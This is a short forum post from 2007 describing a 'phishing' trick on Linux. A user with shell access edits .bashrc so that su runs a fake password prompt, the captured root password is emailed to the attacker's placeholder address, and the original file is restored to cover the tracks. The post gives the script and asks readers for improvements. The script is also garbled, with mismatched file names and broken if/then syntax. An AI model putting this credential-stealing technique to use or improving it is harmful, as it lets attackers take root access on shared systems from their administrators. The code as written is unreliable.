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Linux / *nix Phishing . huh ?
PostPosted: Sun Sep 02, 2007 5:22 pm Reply with quote
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maybe a new concept on phishing.
You can receive the root password on your email in plain text . They only thing you need is user access to modify .bashrc

lets see the procedure step by step:

you first copy the .bashrc to .bashrc. so you can restore it and cover your tracks after you receive the password.

you then modify .bashrc as follows:

.bashrc
alias su=/var/tmp/text.log
echo "Password:";read pass
if [ $pass = "" ] > .es
echo "su: incorrect password"
echo $pass > /tmp/pass.log
mail yourmail@mail.com < /tmp/pass.log
rm /tmp/pass.log
then
rm .es
rm /var/tmp/test.log
cp ~/.bashrc. ~/.bashrc
rm ~/.bashrc.
su
fi
chmod +x /var/tmp/text.log

Let me know of any improvements or Suggestions .

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